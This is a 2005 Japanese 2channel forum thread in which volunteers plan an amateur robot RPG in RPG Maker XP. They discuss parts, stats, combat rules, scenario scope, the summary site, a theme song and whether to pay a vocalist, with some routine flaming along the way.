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みんなでオリジナルのロボットRPGを作ろう!4

1 :名前は開発中のものです。:2005/08/16(火) 16:05:49 ID:SwaiGd2H
1 ◆9mfk.Z6Wmcさんが立ち上げた案でロボットRPGを皆で作ろう!

初代スレ
http://game9.2ch.net/test/read.cgi/gamerpg/1107090964/
2代目スレ
http://game10.2ch.net/test/read.cgi/game/1108379171/
3代目スレ
http://pc8.2ch.net/test/read.cgi/gamedev/1112843375/
・sage進行
・制作はRPGツクールXP
・現在の状況などはまとめサイトや前スレを参照のこと
・基本的なスタンスは「来るもの拒まず」

まとめサイト(画像うpろだ、外部掲示板あり)
旧 http://robotrpg.kt.fc2.com/
新 http://www.geocities.jp/robotrpg2ch/
ログ保管庫
http://www.h6.dion.ne.jp/%7Eohuro/robo/top.htm


2 :名前は開発中のものです。:2005/08/16(火) 16:11:45 ID:RdXimSPD
2
またRPGツクールかよ

3 :名前は開発中のものです。:2005/08/16(火) 17:21:03 ID:Y8dg/QEi


4 :名前は開発中のものです。:2005/08/16(火) 21:37:05 ID:cNPHLGlE
せっかくロボットなんだからパーツの付け替えとかできるのがいい。
ツクールの単調な戦闘では生かされない。
オリジナルの戦闘シーンを作るのならまだしも。

5 :8 ◆jS1vbFJDVk :2005/08/16(火) 22:07:48 ID:TpYDh3ke
現状の制作担当、8です。
>>1
乙です。
>>4
例えばどんなパーツが交換できたら面白いですかね?
ギアを変えると攻撃力と素早さに影響が出るとか、
いろいろアイデアがあれば言ってみてください。

戦闘シーンはコクピットビューにする予定です。
いつになるかは見当がつきませんけども。

6 :名前は開発中のものです。:2005/08/17(水) 17:00:51 ID:BbTUh4ie
>>5
クーラー

7 :8 ◆jS1vbFJDVk :2005/08/17(水) 23:59:44 ID:KZg4cJ1v
マップ移動に関係するところを作成中。
>>6
それはコクピットの空調と考えておk?
それとも俺の知らない「クーラー」という部品があるのか。

8 :名前は開発中のものです。:2005/08/18(木) 00:49:28 ID:KPbBPTyg
オイルクーラーじゃないだろうか

9 :名前は開発中のものです。:2005/08/18(木) 00:56:49 ID:LlwbPxRR
ラジエーター?

10 :8 ◆jS1vbFJDVk :2005/08/18(木) 22:57:18 ID:cTzSQBAh
>>8,9
ああ、そういうクーラーもありですね。
いつだったかヒートシステムなんてのも考えてましたっけ。

11 :8 ◆jS1vbFJDVk :2005/08/19(金) 22:47:06 ID:yIYeWy8c
マップ移動関係、絶好調頓挫中。
追い討ちをかけるように人がいないので、緊急age。

12 :名前は開発中のものです。:2005/08/20(土) 16:01:42 ID:ZZP3lZ0w
■カスタマイズを凝る仕組み
・シャーシに系列作って装備制限を付ける
・ただしメジャー系列のパーツと互換性を持つジョイントが別途存在する系列もある
・攻撃兵器に単純な上位パーツを用意しない

■ターン制でPWレシオの醍醐味を味わう仕組み
・先攻後攻は武器のレンジによって決まる レンジが同じ場合は(推進力/重量) タメ要兵器は完全後手
・回避率は(推進力/重量)とサイズ補正(SSなら0.8、Sなら*09、Nなら*1.0 etc)と損傷補正
・機動型は2,3発あたれば落ち、ブレード兵器やタメ要兵器直撃なら即死くらいの脆さ

このくらいのルールを乗っけてくれませんか?
系列=職業みたいな感じで既存のRPGにも馴染むと思うんだけど。

13 :名前は開発中のものです。:2005/08/21(日) 09:01:50 ID:/+i4gHSe
しばらく来ない間にヒートシステムはそんなのもあったね程度のものになってたのか。
何度目の一からやり直し?

14 :名前は開発中のものです。:2005/08/21(日) 10:07:09 ID:R4LRHlvS
まとめてないんだからそんなもんです

15 :名前は開発中のものです。:2005/08/21(日) 13:45:14 ID:FLVPM7qU
まず素材師が居ない時点で企画としてだめでしょ。妄想、オナニーの域を出てない。

主題歌とかどうなったわけ?
もう少しもうちょっとって言い続けて何ヶ月目だっつーのw

まあ、首脳陣がこんなだから絵師なんてつくはずもないけどな

16 :名前は開発中のものです。:2005/08/21(日) 13:47:35 ID:R4LRHlvS
まとめサイトを見ると色々絵があるけど
住人が追い出したの?

17 :名前は開発中のものです。:2005/08/21(日) 14:05:11 ID:FLVPM7qU
>>16
自然とはなれてったんだろ
けっこうハイレベルな人多かったのに、もったいない

18 :名前は開発中のものです。:2005/08/21(日) 16:51:33 ID:R4LRHlvS
■ロボットステータス
装甲:いわゆるHP
温度:ブーストしたりや火炎攻撃を食らうと上がる
薬庫:いわゆるMP
燃料:ブースト時に消費、固形燃料から補給され徐々に回復
重量:フレーム及び兵装の総重量
推進:ブーストの性能で回避や攻撃順序に影響

■フレーム
帝国フレーム:スタンダードなフレームでパーツも多い
自然フレーム:帝国フレームとの互換性が無く、パーツが少ない
宗教フレーム:基本性能が高く、帝国パーツも少数流用できる
敗北フレーム:ハイエンド仕様の為、帝国フレームとの規格争いに負けた(帝P高互換)

■バッドステータス
スタン:特殊兵器(魔法)が使えない
過熱:燃料があってもブーストが使えない
脚部破損:回避率減少
腕部破損:装備武器が使えない
頭部破損:命中率減少


19 :名前は開発中のものです。:2005/08/21(日) 16:54:21 ID:R4LRHlvS
■戦闘力の計算
攻撃性能:武器威力、弾丸数、攻撃兵装で総合評価
防御性能:装甲材、装甲量、防御兵装を総合評価
起動性能:推進力/重量で評価 ※起動性能=回避性能でもある

■戦闘について
ターンの初めに3行動ポイントが与えられる。
それを移動と攻撃に割り振って戦闘シーンへ。
攻撃時は各武装を纏めて撃てるが
薬庫やディレイ次第で割に合わないこともしばしば。

どの機体も防御属性が一致しない状況場合
並みの装甲なら3発も直撃すれば沈む。

■先手後手
1.武器の射程で遠、近、接の層に分ける(遠0:近10:接:20)
(後手属性武器は表記だけ遠で、内部は接でよい)
2.層ごとで機動性ランクを付ける(1桁目に順位を振る)
3.求められた数値の低いものから順に行動
4.1〜3を三順する

20 :名前は開発中のものです。:2005/08/21(日) 16:55:11 ID:R4LRHlvS
■武器ステータス
射程:遠>近>接の順で先手がとれる
威力:単純な破壊力で、実威力は属性と火薬も影響
弾数:攻撃回数
火薬:薬庫が消費される値
命中:いわゆる命中
初動:攻撃前ディレイ 命中、先手補正にマイナス
再動:攻撃後ディレイ 回避補正にマイナス
属性:貫通、熱、衝撃、ロックオンなど

■武器属性
貫通:装甲材の防御性能を無視する
衝撃:部位破損を引き起こす
熱:温度を上げる
電気:スタンを引き起こす
ロックオン:攻撃時のみ対象の回避性能ダウン
後手:自分の攻撃順序を下げる(接)

■武器
・単純な上位互換武器は存在しない。
・ハンドウェポンはフレーム規格に左右されない。
・大火力武器は高性能パーツと併設できないバランス。

例)
ハンドガドリング:近:5x5:20:80%:0:5:手:自:貫通
ショットランス:接:30x1:5:95%:0:15:腕:帝:貫通、衝撃
ミサイル:遠:15x3:50:70%:10:20:腕(肩):宗:熱、衝撃、ロックオン、後手


21 :名前は開発中のものです。:2005/08/21(日) 16:57:44 ID:R4LRHlvS
既存の決定分がどうなのかは知らないけど
スレが止まってるのは悲しいのでネタだし。
コマンド中は止まってるアクティブタイムバトルが理想だけど
ターン制らしいから読み合いを重視してみた。

22 :8 ◆jS1vbFJDVk :2005/08/21(日) 19:47:31 ID:HLmiJ1sy
>>12
系列=職業ですか。なるほど。
早速実装してみましょうか。
>>13
前スレからずっとドライブゲージでやってますよ。
>>14
まとめサイトの中の人も沈黙してますしね。
俺がサイト運営やるとツクールがさらに遅れることになるし…
どうしたものでしょう。
>>15
マターリ
>>16,17
本当に。
>>18-21
ネタ乙。なんか脳汁出てきた。

マップ後回しで装備品をごちゃごちゃ作ったほうがよさげですか?
俺としてはその方がモチベーション保てそうなんですが。

23 :名前は開発中のものです。:2005/08/21(日) 19:59:11 ID:R4LRHlvS
>>22
開発者がフォーッとなれる環境が一番に決まってます。
過去ログみたくてもみれないんだよねぇw

24 :763:2005/08/21(日) 21:07:50 ID:keJdeTpZ
>>8さん他
少々相談があって今日明日明後日くらいの
22:00ごろチャットにきてもらいたいのだけどこれる?

25 :8 ◆jS1vbFJDVk :2005/08/21(日) 22:01:18 ID:HLmiJ1sy
>>24
了解です。

26 :763:2005/08/22(月) 01:23:09 ID:ffYvTr+4
えー自分をどう紹介するか相談していました。
現状ドリームリーダーの763です。
HSPで戦闘シーンイメージを作っています。
基礎の部分が全て出来上がったらUPしますのでよろしく。

27 :名前は開発中のものです。:2005/08/22(月) 15:46:26 ID:71DZiid4
ロボは石油で動かしてよ

28 :8 ◆jS1vbFJDVk :2005/08/22(月) 23:36:57 ID:ZyFfO9wg
みなぎってきてます。鋭意制作中。

29 :名前は開発中のものです。:2005/08/23(火) 01:16:54 ID:IpTeVuK3
主人公勢の敗戦が決まっているなら
ラストは「僕らの7日間戦争」みたいにしたいな。
目的は花火の打ち上げじゃなくて、帝国最新鋭の
フラグシップモデルぶっ壊してトンズラみたいな。
この作品は魂を込めた妥協しないベタストーリーこそふさわしい。



30 :名前は開発中のものです。:2005/08/23(火) 06:59:59 ID:SLFpNwnE
なにそのメタルギア

31 :8 ◆jS1vbFJDVk :2005/08/24(水) 00:06:25 ID:8Q9hg2Kc
新スレ初うp。
ttp://www.geocities.jp/robotrpg2ch/g/drive14.zip
ゲームバランスを一新&グレードアップを大幅変更。
数値設定はまだまだテキトーです。スマソ

>>29
妥協しないベタ、いい言葉ですね。
シナリオ関連もそろそろ考えるべきでしょうか。

32 :8 ◆jS1vbFJDVk :2005/08/24(水) 01:18:19 ID:8Q9hg2Kc
作業ついでにまとめサイト更新。
2代目しっかりしてください。頼むからorz

33 :名前は開発中のものです。:2005/08/24(水) 01:44:40 ID:CGLVs3n+
魚Tueeeeeeeeeeee

34 :名前は開発中のものです。:2005/08/24(水) 02:30:16 ID:SJftp4Pk
もう逃げたんだろ

35 :元1 ◆9mfk.Z6Wmc :2005/08/24(水) 02:44:03 ID:GdOFVCS4
まとめサイトの運営を引き受けたのに申し訳ありません
一身上の都合によりこの企画にこれ以上
関わる事が出来なくなりました
まことに無責任ですが離脱します
ずっと頑張ってきた8さんには言葉もありません
JUNさんやこれまで協力してくださった方もごめんなさい

36 :名前は開発中のものです。:2005/08/24(水) 06:04:30 ID:4rXCiiz/
うおおおぉぉぉい!!

37 :名前は開発中のものです。:2005/08/24(水) 09:49:11 ID:+q64fE+t
頑張れ!8頑張れ!!

38 :8 ◆jS1vbFJDVk :2005/08/24(水) 09:50:40 ID:8Q9hg2Kc
休日。
>>33
そいつは100年に1度現れるという水場のヌシです。
ではなくて、魚の修正し忘れてました。スマソ
>>35
了解しました。スタッフロールに名前残しておきます。
1年常駐の約束が果たされないのは残念ですが仕方ない。

というわけで事実上最古参となりました8です。
がんばるとよ。

39 :ナナシェス ◆ROBOxAwIBM :2005/08/24(水) 11:25:42 ID:yP3LTqVQ
じゃあまとめの方は今のところやる事ない俺が引き継ごうか?

dogatkool yahoo.co.jp

40 :名前は開発中のものです。:2005/08/24(水) 11:26:15 ID:yP3LTqVQ
↑はメールアドレスね

41 :名前は開発中のものです。:2005/08/24(水) 17:16:05 ID:BoAHg8bi
間にアットマークつけて書き込んでもいい?

42 :名前は開発中のものです。:2005/08/24(水) 18:13:13 ID:VvPPnu/1
重大な報告があったようなので今日の22:00に集合でおk?

43 :8 ◆jS1vbFJDVk :2005/08/24(水) 19:59:35 ID:jXn6I2kd
>>39-40
そうしてくださると負担が減って助かりますが、
空白に@を入れたアドレスで大丈夫でしょうか?
>>42
ちょい遅れます。22:30ごろ。

44 :JUN:2005/08/24(水) 21:55:01 ID:CxWUJVz/
身内の不幸とか学業が忙しいとか、きっと大変な理由がおありなんでしょうがね。

2chでの結束なんてこんなもんなのか。ちょっとしょんぼり

45 :名前は開発中のものです。:2005/08/24(水) 22:02:22 ID:LoujItKC
2ちゃんというよりネット自体がそうだろ
不慮の事故とかで死んじゃこともあるし詫びれるだけマシ

46 :名前は開発中のものです。:2005/08/25(木) 02:51:17 ID:AeLMprTw
すみません寝てました

>>43
それでOKです。
常にチャットに出るわけには行かないかもしれませんが、
やったことを書いた上で生ログを送りつけてもらえれば
適宜編集して更新します。

47 :名前は開発中のものです。:2005/08/26(金) 20:01:45 ID:ZQOG7Fse
22:00

48 :8 ◆jS1vbFJDVk :2005/08/26(金) 21:30:26 ID:Qb++zdns
>>46
アドレスのパス変更したらメールします。
あと、旧サイトは新サイトに統合するつもりなのでよろしく。
>>47
30分ほど遅れます。

49 :名前は開発中のものです。:2005/08/27(土) 23:36:08 ID:0F7dl0XN
今こそすべてのオリープスレが一致団結するときだ。
このままじゃ何処も企画倒れ。兄弟も糞もない。

ここのスレは本スレに関わりたがらないがそうはいかないぞ。
特に8 ◆jS1vbFJDVk
お前はオリープスレ全体の落ち込みが悲しくないのか?

50 :名前は開発中のものです。:2005/08/27(土) 23:46:04 ID:KDG2Ln8Y
オリープスレ???

51 :名前は開発中のものです。:2005/08/27(土) 23:58:43 ID:0F7dl0XN
>>50

本スレ
みんなでオリジナルRPGを作るぞ17
http://game9.2ch.net/test/read.cgi/gamerpg/1124026990/

みんなでオリジナルRPG作るぞ!INゲ製作 Part5
http://pc8.2ch.net/test/read.cgi/gamedev/1119095600/

オリープ関連スレ外部板
http://jbbs.livedoor.jp/game/20449/

これがあなたの知らないオリープの世界。
さぁ一致団結だよ。みんなで協力だよ。

52 :名前は開発中のものです。:2005/08/28(日) 00:01:14 ID:8CsWhjtQ
ポリープができるまで叫び続けろ

53 :名前は開発中のものです。:2005/08/28(日) 00:04:27 ID:KDG2Ln8Y
>>51
そっちもたまに見るけど合流する必要ないんじゃない?


54 :8 ◆jS1vbFJDVk :2005/08/28(日) 00:05:48 ID:pnkOEM0Y
LP実装を再開。
>>49
ここの落ち込みぶりはいつものことなので無問題。

55 :名前は開発中のものです。:2005/08/28(日) 00:45:24 ID:7jSEZq/A
思ったことをいくつか

■マルチシナリオ・マルチエンディングはいらない
王道さが無く、風呂敷ばかりがでかくなるのはいただけない。

■主人公は普通にレベルアップすればよい
FF2やRSみたいなシステムは実装の複雑化に比例するメリットがない。

■戦闘で得られるものは経験値のみ
基本的に修行はバイトミッションでよい。
ミッションの特定ロボがレアパーツを落とすとかはアリ。
本筋ではないシナリオは全てバイトミッションで
管理すればボリューム調節がしやすい。

■細かい考察はいらない
魔石があればとりあえずロボットは動きますよ程度で。
燃料や弾奏、温度など戦闘を面白くするパラメタを増やすのは良い。
(この場合は燃料はブーストやホバリング用になる?)

■とにかく作りこむ部分を絞る
ロボットバトルを頑張るのが一番素直。

■名前にハイセンスを求めない
過去ログを見るにゴキンジョダロの人の名づけセンスがなかなかいい。
熱血、コミカル、ちょっと背伸びなベタテイストを強制しやすい。

56 :名前は開発中のものです。:2005/08/28(日) 01:00:00 ID:ut1EBBH7
>>55
名を名乗れ! でなければ失せろ!

57 :名前は開発中のものです。:2005/08/28(日) 01:07:41 ID:7jSEZq/A
そんなルール>>1にはないが

58 :名前は開発中のものです。:2005/08/28(日) 01:08:59 ID:ut1EBBH7
>>57
カス厨房失せろ

59 :ナナシェス ◆ROBOxAwIBM :2005/08/28(日) 01:10:50 ID:IqMeJ4BV
名乗る名乗らないは自由でしょ。

それに内容の性質からして、自由に意見を述べる名無しの立場でいいと思うけど

60 :名前は開発中のものです。:2005/08/28(日) 01:11:31 ID:7jSEZq/A
つまんねー荒らしするくらいなら自分の意見を戦わせたら?

61 :名前は開発中のものです。:2005/08/28(日) 01:13:12 ID:ut1EBBH7
>>60
消えろってんだろおまえ
とっとと出てかんとしばくぞ

62 :名前は開発中のものです。:2005/08/28(日) 01:13:25 ID:7jSEZq/A
>>59
失礼。>>58へのレスね。

63 :名前は開発中のものです。:2005/08/28(日) 01:18:07 ID:8CsWhjtQ
>>61
引越し!引越し!

64 :名前は開発中のものです。:2005/08/28(日) 01:19:36 ID:YqQBci5I
>思ったことをいくつか

キモイよ

お前が思ったことをいちいちレスするな

65 :名前は開発中のものです。:2005/08/28(日) 01:23:42 ID:7jSEZq/A
>>64
自分が思ったことをレスするのが意見なんじゃねーの?
キモイよってレスしてるのはなんで?

66 :名前は開発中のものです。:2005/08/28(日) 01:27:00 ID:8CsWhjtQ
>>64
それお前が思ったことだよ

67 :ナナシェス ◆ROBOxAwIBM :2005/08/28(日) 01:28:11 ID:IqMeJ4BV
ついでに現在の状況まとめ

今はゲームの中枢部分、戦闘とか改造、ロボを絡めたマップ移動などを
まず作っていこうっていうことになってる。
それを作ってみて、面白ければ自然に素材も集まりやすくなるし
後は乗っけてけばいいだろうということで。
それが>>8がここにうpしてるファイル。

http://www.geocities.jp/robotrpg2ch/down.html
これはツクール初体験の>>8のスキル磨きもかねている。

これとは別に>>763が秘密裏に?作ってる戦闘システムデモンストレーションがある。
こっちは最終的に本編に取り込まれたり取り込まれなかったりするかもしれない。

ハッキリ言って、そうとうしばらくは(←変な日本語)派手な動きはないと思う。
住人諸氏には

>>55みたいに自由な意見を飛ばしたり(流れとか読まなくてもいい。ただし容れられるかはワカラン)
・素材や技術が投下できる人はしたり
>>8の作るテストを試していろいろ出し合ったり

…して過ごしていただけると良いかと思います。

…間違ってるとことかないよね?>8さん

68 :名前は開発中のものです。:2005/08/28(日) 01:32:46 ID:7jSEZq/A
>>66
思うって言葉は「複数の事柄を考える」ことを言うんだよ
妄想の想は思うじゃないだろ

69 :名前は開発中のものです。:2005/08/28(日) 01:42:16 ID:YqQBci5I
キモイよ

お前が思ったことをいちいちレスするな

70 :名前は開発中のものです。:2005/08/28(日) 01:43:18 ID:YqQBci5I
>>68
キモイよ

キモスギ

71 :名前は開発中のものです。:2005/08/28(日) 01:44:14 ID:8CsWhjtQ
この見事な矛盾が心地いい

72 :名前は開発中のものです。:2005/08/28(日) 01:50:31 ID:7jSEZq/A
個人的にはそれは違うだろみたいな意見のぶつかりを期待したんだけど
時間帯が悪かったみたいだな(チラシの裏)

73 :名前は開発中のものです。:2005/08/28(日) 02:00:28 ID:YqQBci5I
俺昨日うんこ漏らしたから機嫌悪いんだよ。
>72のようにキモイ奴は氏んで欲しいと思ってる。

あまり俺を怒らすなよ?怖いぞ

74 :名前は開発中のものです。:2005/08/28(日) 02:21:00 ID:OBn01bbR
いいから両方死ね

75 :8 ◆jS1vbFJDVk :2005/08/28(日) 09:36:58 ID:pnkOEM0Y
>>55
なかなか鋭い意見で、参考になります。GJ!
>細かい考察はいらない
>とにかく作り込む部分を絞る
>名前にハイセンスを求めない
この辺りに関しては全面同意なんですが皆さんどうでしょう?
>>67
的確なまとめ乙です。

76 :( ´∀`) ◆9mfk.Z6Wmc :2005/08/28(日) 22:41:36 ID:EUWaimbV
離脱発言をしたのですけど、
事情が改善されたので復帰する事が出来ました・・・
私の勝手な行動に皆さん呆れているでしょうから
せめて生暖かく見守らせてください

77 :名前は開発中のものです。:2005/08/28(日) 23:30:25 ID:oOWbIvGA
おかえり

78 :8 ◆jS1vbFJDVk :2005/08/28(日) 23:57:52 ID:tlvNM3sb
>>76
おかえりなさい。
では、生暖かさを感じつつ制作に励みます。

ところで、( ´∀`)さん含め住人の皆さん
>>55さんの意見についてどう思いますか?

79 :名前は開発中のものです。:2005/08/29(月) 00:30:11 ID:SWKvmGPJ
開発チームが意見を吸い上げてどんどん開発していったほうがいいよ。
どこまで風呂敷を広げようと思っているのかの線引きが必要だから。

80 :( ´∀`) ◆9mfk.Z6Wmc :2005/08/29(月) 00:39:19 ID:QYFd2eFR
意見をどれだけ取り入れるかは議論するとして、
>>55さんの意見は裏返すと、
王道の一本道RPGを作るという事ですよね
練習でツクールを弄ってて実感しましたけど、
確かにマルチシナリオは手が掛かりすぎます
当初のコンセプトと180℃違いますが、
本筋以外のシナリオはバイトミッションというのもいい案です

81 :ナナシェス ◆ROBOxAwIBM :2005/08/29(月) 20:42:00 ID:hK4K3GjO
確かに、全世界を巻き込む未曾有の大スペクタクル!
みたいなのはちょっと厳しいかなと思っています。

そこでちょっと考えているのが、舞台をスケールダウンして
「各勢力の思惑が交錯するある一地域」を舞台にするという案。

ありていに言ってしまえば現実のイラク、朝鮮半島みたいな感じで。

マルチの場合は、ラストで自治権をとったりとられたり
併合されたりいろいろするという。

もっともこの辺は実際にシナリオを書く人次第という面が大きいと思っています。

追伸.もしかして言ってなかったかもしれませんが僕もXP餅です。

82 :名前は開発中のものです。:2005/08/29(月) 20:44:02 ID:hK4K3GjO
さらに追伸。
この案の欠点は、もろにフロントミッション1なところw

関係ないけど、カルネージハートみたいなプログラムして戦わせる系って
結構面白そうだなと思うんですがどうでしょう。
いろいろ難しそうですが。

83 :名前は開発中のものです。:2005/08/29(月) 21:21:38 ID:SWKvmGPJ
ロボコンの類は路線が違いすぎると思う。


84 :JUN:2005/08/29(月) 21:28:28 ID:HMiybnUB
盛り上がってますね。うれしい限りです。
そして顔さん復帰おめでとうございます。いろいろ酷いこと言いましたが、また一緒に頑張りましょう。

>>8さん
歌が一通り完成したので、改めて人材募集サイトで歌手を捜します。
フリーのうpろだにサンプルを挙げたので、これをまとめサイトのサーバーに挙げ直していただけますか?

http://aploda.com/dl.php?mode=pass&file_id=0000024127

よろしければ、他の人も聴いてみてください。
感想等いただけるとうれしいです。

85 :名前は開発中のものです。:2005/08/29(月) 21:32:49 ID:YFcgH/89
>>84
この企画には参加してないがひと言だけ言わせてくれ。

GGGGGGGGGGGGGGGGGGGGGGGGGGGGGJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ!!
凄い乙!!カッケー!!

86 :名前は開発中のものです。:2005/08/29(月) 21:38:47 ID:SWKvmGPJ
>>84
いいなぁ。立ち上がりが凄いそれっぽいw

87 :( ´∀`) ◆9mfk.Z6Wmc :2005/08/29(月) 21:56:22 ID:FJul02iW
>>81
ナナシェスさんもXPお持ちでしたか
一地域が舞台との事ですが全世界規模と地域規模では
どんな違いがあるんでしょう?
個人的にはフロントミッションもプログラムで戦わせる系も大好きです

>>84
格好(・∀・)イイ!
熱い! 熱いですよJUNさん!
凄いの作っちゃいましたね
最後まで聞いてみたかったですよ

88 :名前は開発中のものです。:2005/08/29(月) 21:59:15 ID:00xVMqMN
・・・

89 :8 ◆jS1vbFJDVk :2005/08/29(月) 23:13:05 ID:jTXIw1NQ
>>79
では、できるところから開発してゆきます。
>>80-81
舞台を一地域に限定すれば、おのずと展開が限られて
一本道シナリオもやりやすい気がします。
マップ作成などの労力も少なくてすみますし。
>>82-83
すみませんが、却下の方向で。親友が作ったロボに
主人公が乗り込んで戦うことに意味があると思うんで。
ラストシーンでロボが勝手に動いて主人公たちを守る、
というシチュエーションなどはとてつもなく燃えますが。
>>84
乙そしてGJ。それではページにサンプル置いておきます。
>>87
舞台が狭い方が少ない労力で深く作り込めますよ。

90 :JUN:2005/08/29(月) 23:51:35 ID:HMiybnUB
>>85
>>86
>>87
ありがとうございます。とても嬉しいです。
この後失速しないよう、しっかり調整します。
ヴォーカルも含めて、すべて完成したら改めてupしますね。
今後とも宜しくお願いいたします

>>8さん
えと、下の文を使って
「特設・ろぼだま主題歌募集サイト」を作っていただきたいのです。宜しくお願いします。

http://venus.aez.jp/uploda/data/dat1/upload318449.txt


91 :ナナシェス ◆ROBOxAwIBM :2005/08/30(火) 00:24:54 ID:RUWoHeNm
ちょっと待って、まさか報酬ってJUNさん個人の自腹ですか?
いかに間にJUNさんのサークルがはさまれるとは言っても、
主題歌として製作する以上それはどうでしょうか?

もしかして、僕がいないときに申し合わせ済みのことだったらすみませんが。

92 :JUN:2005/08/30(火) 00:58:31 ID:EkJw5QOf
>>ナナシェスさん
申し訳ない。はっきりさせておきます。
主題歌のヴォーカルを募集するにあたって、5000円の報酬を設定しました。

ふつう、音楽家に作曲や演奏を依頼するときは(アマチュアであれ)報酬を用意するのが常識となってます。
そういった、純粋な報酬としての意味がひとつ。

また、無報酬、フリー公開がまかり通ってる同人界では5000円の報酬というのはとても破格なようなので、人目をひく効果も狙ってます。
無報酬の依頼には見向きもしない「上手な」ネット声優の方々も、5000円なら考えるかもしれません。

それに、オーディションを通じて多くの人とコネができれば、後々のサークル活動にプラスになるだろうとの狙いもあります。

今の所自腹を切るつもりでいますが、
カンパしてくださる方がいれば大歓迎です。
もしいらっしゃったら挙手していただきたいです。


93 :名前は開発中のものです。:2005/08/30(火) 01:11:51 ID:5OTiK7MU
>>92
なんか有志でつくろうっていってるのに報酬はおかしいと思う
小額でもお金が絡むといろいろややこしくなるし

94 :名前は開発中のものです。:2005/08/30(火) 01:13:19 ID:uUsLkXH1
>>93
ツクスレに帰れよお小遣いの少ない厨房。

95 :名前は開発中のものです。:2005/08/30(火) 01:25:22 ID:uUsLkXH1
ついでに言葉を置いていく

「安物買いの銭失い」という言葉があるが、銭を失うよりずっと怖いのは時間を失う事だ。

96 :ナナシェス ◆ROBOxAwIBM :2005/08/30(火) 01:31:50 ID:RUWoHeNm


じゃあ半分出します(ケチw

ただし>>93のような危惧もよく分かるので
この件は非公式のカンパということにしませんか。
その代わり、僕らが勝手に出すだけなんで他の人は文句は言いっこなしってことで。
無論出す側もそれ以降は何もなし、出したっきりで。

なんか凄く変な理屈を言ってるような気がするけども

97 :名前は開発中のものです。:2005/08/30(火) 08:34:45 ID:H9qrGsci
>>84
遅まきながら

神キタ━━━━(゚∀゚)━━━━!!!!!!

これはすごい神ですね
超びびり

98 :名前は開発中のものです。:2005/08/30(火) 09:24:22 ID:MnilD2ZU
>>93
僕ちゃんは5万出すでちゅ

99 :名前は開発中のものです。:2005/08/30(火) 16:10:13 ID:TsRV8cpg
役立たずコテが帰ってきたと聞いて飛んできました

100 :( ´∀`) ◆9mfk.Z6Wmc :2005/08/30(火) 21:15:39 ID:R6tf97g5
>>96
まったく同感です
言い出しっぺなので私が全額出します


101 :名前は開発中のものです。:2005/08/30(火) 21:30:26 ID:1RMLmwAD
金が絡むと完全にグダグダになるぞ。

102 :JUN:2005/08/30(火) 21:47:41 ID:2RKKlfa3
うぉぉ!大変なことになっとる!
カンパについては、後日チャットで話し合いましょう。
報酬が支払われるのは「作品が完成したとき」なので、早くとも9月中旬になる予定です。時がきたら招集します。

>>( ´∀`)さん
それはナシ。
でもお心遣いにはとても感謝してます。
ナナシェスさんも、本当にありがとうございます。

金がかかると問題が起きるとのご懸念についてですが、
完成したゲームを売ったり、サントラを作ったりしなければ問題ありません。
盗用された場合は私の問題になりますが、「光れろぼだま!」とか叫ぶ歌を二次使用したい人は少ないと思うので大丈夫でしょう。

金を払って声優をやとうこと自体に賛否あると思います。
でも、せっかく数十時間もかけて作った大曲なので、最後まで自分の納得いくように作りたいのです。何とぞご理解お願いします。

曲の評判悪くなくてよかった...
ようし頑張るぞ
みんな頑張ろう
もう「中途半端な企画」とか言わせない。
素材で発言で、どんどん支援してくださいm(_ _)m

103 :名前は開発中のものです。:2005/08/30(火) 21:58:53 ID:V25JA3PG
おぉ〜まだ続いてたんね
影ながら応援していよう

104 :( ´∀`) ◆9mfk.Z6Wmc :2005/08/30(火) 22:28:33 ID:R6tf97g5
>>102
個人的に問題視しているのは作品が完成しなかった場合です
現在、8さんが中心となって頑張っていますが、万が一、
ある事情でどうしても続けられなくなって製作を断念した場合、
お金を出した人は納得いかないと思うのです
なのでスレ立て人の私が出すべきだと思います

105 :8 ◆jS1vbFJDVk :2005/08/30(火) 22:45:46 ID:wRO6JERi
帰ってきたら何やら大変なことに。
>>90
サイトはろぼだままとめサイト内で大丈夫でしょうか?
もし大丈夫なら明日には完成させます。
>>91=102
詳しいことはチャットで話し合うのがよさそうですね。
今のうち集合日時決めてしまいましょうか。
明日22:00でどうでしょう?
>>104
そう言われると、途中で投げ出す訳にはいきませんね。
皆さんが納得のいくよう、完成を目指したいと思います。

106 :名前は開発中のものです。:2005/08/30(火) 23:28:15 ID:TYHhLkMr
そんなことよりアイキャッチ入れようよ
全26話くらいで作って毎回アイキャッチが入る

107 :JUN:2005/08/30(火) 23:45:26 ID:KhFwRixX
>>105
それでお願いします。
サイトが出来次第、募集をかけます。

>>106
それいいですね!
まんまアニメですね。

108 :8 ◆jS1vbFJDVk :2005/08/31(水) 17:41:22 ID:OuXHayuh
まとめサイト大幅更新。それに伴い、旧サイトを近日中に閉鎖します。
>>106
話ごとにアイキャッチを入れるというのは面白いですね。
余裕ができればそういった遊びも入れていきたいものです。
>>107
募集サイト、即席ですが完成しました。

チャット集合22:30にしてくださいスマソ

109 :名前は開発中のものです。:2005/08/31(水) 19:13:25 ID:IYMiKzU4
歌なら歌ってもいいなぁ。
高校時代バンドのボーカルやってて、
今も時々友人バンドがツインボーカルでライブする時に参加してる。

ただ家に録音環境がないからアレだけど・・。ライブハウスで録ったり。

110 :JUN:2005/08/31(水) 19:20:38 ID:bDl2LLAJ
>>109
ヘイヘイヘーーーーイ!即応募!プリーズメールミー!


111 :名前は開発中のものです。:2005/08/31(水) 21:58:24 ID:HIDKT12X
情報屋とか面白そうだなぁ
ミクル、コアア、コヒの3姉妹で一人一人が各地にいるわけですよ
情報屋って店とかあるわけなじゃなくて
店員や町の人に成りすましてるとか。
例えばバーで一番奥の席に座ってカラシたっぷりのサンドイッチを頼むと
情報屋が現れて情報買ったり売ったり出来るとか。
どうでもいい・いらない情報も買えたり、町の人から仕入れた物も売れたり。

と、意見らしいものを出してみるテスト。

112 :8 ◆jS1vbFJDVk :2005/08/31(水) 22:21:09 ID:fibqRZHW
>>109-110
早速ボーカル候補が。
>>111
そういう情報屋っていうのもいいですね。
うまくするとボスの弱点なんかがわかったりとか。

さて、そろそろ時間です。

113 :JUN:2005/08/31(水) 22:35:59 ID:bDl2LLAJ
ヴォーカルさん、いらっしゃいましたらチャットまでお越し下さい



114 :( ´∀`) ◆9mfk.Z6Wmc :2005/08/31(水) 22:44:19 ID:NilN3ZId
チャット会場はここです
http://www.takamin.com/oekakichat/user/oekakichat3.php?userid=138905


115 :JUN:2005/08/31(水) 23:42:32 ID:bDl2LLAJ
1さん、いらっしゃったらチャットまでお越し下さい

スレ汚し失礼


